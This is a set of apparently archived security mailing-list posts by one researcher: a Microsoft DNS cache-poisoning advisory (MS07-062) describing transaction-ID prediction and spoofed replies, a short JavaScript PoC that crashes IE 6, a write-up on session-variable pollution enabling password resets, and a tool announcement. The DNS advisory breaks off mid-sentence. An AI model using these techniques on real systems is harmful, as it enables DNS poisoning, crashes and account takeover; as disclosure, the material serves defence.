Predictable DNS transaction IDs in Microsoft DNS Server

[Alla Bezroutchko]

1) Summary

Affected software: Microsoft Windows 2003 SP2, Microsoft Windows 2000
SP4 Server
Vendor URL: www.microsoft.com
Severity: Medium
References: Microsoft Security Bulletin MS07-062, CVE-2007-3898

2) Vulnerability Description

Microsoft DNS server generates predictable DNS transaction IDs. If the
server is configured to allow recursive queries it is possible to insert
fake records in the DNS cache (DNS cache poisoning) by guessing the next
transaction ID that the server will use and sending a spoofed DNS reply
to the server. To observe the transaction IDs an attacker needs to
control a DNS server that is authoritative for some domain and to be
able to send a recursive queries to the caching Microsoft DNS server.

When an attacker sends a recursive query to a caching name server, the
caching server will find the server authoritative for the zone and send
the request to the authoritative name server. If the attacker can
predict the transaction ID of the request that the caching server sends,
he can generate spoofed replies. The caching server will accept spoofed
reply as coming from authoritative name server and cache the fake data.

The attack scenario is as follows. The attacker controls the
authoritative name server for some zone, in our example
cache-poisoning.net. The victim has a recursive DNS server that the
attacker can query (ns.victim.com). Victim's server runs Microsft DNS
server. Attacker wants victim's DNS cache to think that www.hotmail.com
has IP address 127.0.0.1 (or any other).

First the attacker gathers a sample of DNS transaction IDs that
ns.victim.com uses for outgoing queries. He makes a number of recursive
queries to ns.victim.com for hosts in cache-poisoning.net zone.
Ns.victim.com will query the name server for cache-poisoning.net. The
attacker records the transaction IDs of the requests sent to the name
server of cache-poisoning.net by ns.victim.com.

Microsoft DNS transaction IDs follow a certain pattern. There seems to
be 8 independent counters that are randomly incremented. Each
transaction ID is taken from a randomly chosen counter. So, there are 8
sequences of randomly incrementing numbers. A sample of transaction IDs
below illustrates that:

15222 - sequence 1
13177 - sequence 2
2944 - sequence 3
13197 - sequence 2, 13197  13177 increment=20
9108 - sequence 4
13208 - sequence 2, 13208  13197 increment=11
15268 - sequence 5
9131 - sequence 4, 9131  9108 increment=23
7094 - sequence 6
15291 - sequence 5, increment = 23
960 - sequence 7
15309 - sequence 5, increment = 18
980 - sequence 7, increment = 20
3032 - sequence 8
992 - sequence 7, increment = 12
...

Having gathered a small sample of transaction IDs (50 to 100 is enough)
used by the cache, the attacker can record the state of each of the 8
counters on the victim server.

The attacker will then query the victim server for the record he is
trying to spoof, for example www.hotmail.com. The victim cache will send
a query to the authoritative name server for hotmail.com. At the same
time the attacker will send a number of spoofed DNS replies. The replies
will have spoofed source address (appearing to come from the nameserver
for hotmail.com), fake data (saying that www.hotmail.com is 127.0.0.1)
and DNS transaction IDs starting from the recorded values of counters up
to counter+500 (or more). In our testing, the attacker has a very good
chance of hitting the right transaction ID. If the reply with the right
transaction ID spoofed by the attacker will arrive before the reply from
the real server, the victim cache will believe the spoofed reply and
cache it.

The attack is made easier because Microsoft DNS server uses fixed source
port for the queries (so the attacker doesn't need to guess the source
port) and usually queries the first nameserver for the domain (so the
attacker only has to spoof the replies from one IP address).

In our testing we were able to reliably inject spoofed replies into the
cache.

The success of the attack depends on how busy a DNS cache is. If it is
performing a lot of queries (using up transaction IDs) the attacker will
only see a small fraction of IDs. It will be more difficult for the
attacker to figure out the state of the counters and to predict the
value of the transaction IDs.

It is commonly believed that if a caching DNS server is behind a
firewall and it is not possible to query it from the outside, it would
not be possible to perform a cache poisoning attack like the one
discussed above. Unfortunately, this is not the case. An attacker can
create a web page and entice someone inside the firewall to surf to this
page. The page will contain images located at hosts in
attacker-controlled domain. For example:

img src=http://h1.cache-poisoning.net/image.gif;
img src=http://h2.cache-poisoning.net/image.gif;
...
img src=http://h100.cache-poisoning.net/image.gif;

When the victim browser's renders the page, it will make DNS queries to
the DNS cache. The DNS cache will make queries to the 

MS07-042 XMLDOM substringData() PoC

[Alla Bezroutchko]

This bit of JavaScript kills IE 6 on Windows 2000 and Windows XP SP2

var xmlDoc = new ActiveXObject(Microsoft.XMLDOM);
xmlDoc.loadXML(dummy/dummy);
var txt = xmlDoc.createTextNode(huh);
var out = txt.substringData(1,0x7fff);

Installing the patch from MS07-042 fixes it.

Cheers,
Alla Bezroutchko
Scanit - http://www.scanit.be/

Session data pollution vulnerabilities in web applications

[Alla Bezroutchko]

In web applications I've tested recently I have stumbled upon something
that seems to be new class of bugs. Quick googling did not turn up any
reference to this kind of vulnerabilities, so I thought I should
describe it.

The problem boils down to the application reusing the same session
variable name in different application functions. In one function the
session variable is initialized from the user supplied data, and in
another function the value of the same session variable is used to
perform some sensitive action.

Here is an example. Suppose you have a web application that
requires authentication with login and password. New users can register
by filling in a form (let's say displayed by register1.php).
register2.php takes the form data, saves it in the session, checks it,
and if something is wrong with it, redirects back to register1.php with
error message saying what needs to be corrected. Say the login name the
user has chosen is saved to the session like this:

$_SESSION['login'] = $_POST['login'];

Now, let's say another part of the application deals with forgotten
passwords. On page resetpw1.php the user enters his user name.
resetpw2.php looks up the secret question for that user in the database
and displays it. User enters the answer to the secret question.
resetpw3.php checks if the answer is correct, saves the user name in the
session ($_SESSION['login'] = $_POST['login'];) and asks the user to
enter the new password. The user enters the new password, and
resetpw4.php takes the user name from the session ($login =
$_SESSION['login']), takes the password from the form data, and updates
the password for that username in the database.

An attacker can first submit data to register2.php (setting the
$_SESSION['login'] to the value of his choice) and then submit data to
resetpw4.php that will take $_SESSION[login] and change the password
for that account. resetpw4.php trusts the value in $_SESSION['login']
because it thinks that $_SESSION['login'] was created by resetpw3.php,
which verified it by means of secret question.

The problem stems from the fact that same session variable is used by
different processes in the application to store both trusted and
untrusted data.

I have seen this kind of bugs (not only related to logins and passwords,
but other things as well) in several different applications, written by
different development teams in Java and PHP. I suppose it is rather
common problem. These bugs are easy to identify when the source code is
available - just grep for lines where the session variables are
initialized, check where the data comes from, and if it comes from the
user, check where else that session variable is used. They are a lot
more difficult to find with a black-box testing of a web application,
though one can and does stumble upon them accidentally.

As for fixing those bugs, I suppose one approach is having a separate
session variable for each function in the application. For example new
user registration will keep its stuff in $_SESSION[register][login]
and authentication will keep its stuff in $_SESSION[auth][login]

Regards,
Alla Bezroutchko
Scanit

Announce: Browser Security Test Released

[Alla Bezroutchko]

Scanit announces the release of the Browser Security Test, an online 
automatic test for web browser security vulnerabilities. It is available 
at http://www.scanit.be/bcheck/

Browser Security Test is a one stop security assessment for web 
browsers. It gives an immediate report on discovered vulnerabilities and 
  recommendations on fixing them.

Each test attempts to exploit a vulnerability and only if it is 
successful, the vulnerability is reported, so there are pretty much no 
false positives.

The tool currently tests for 17 different vulnerabilities, mainly in 
Microsoft Internet Explorer.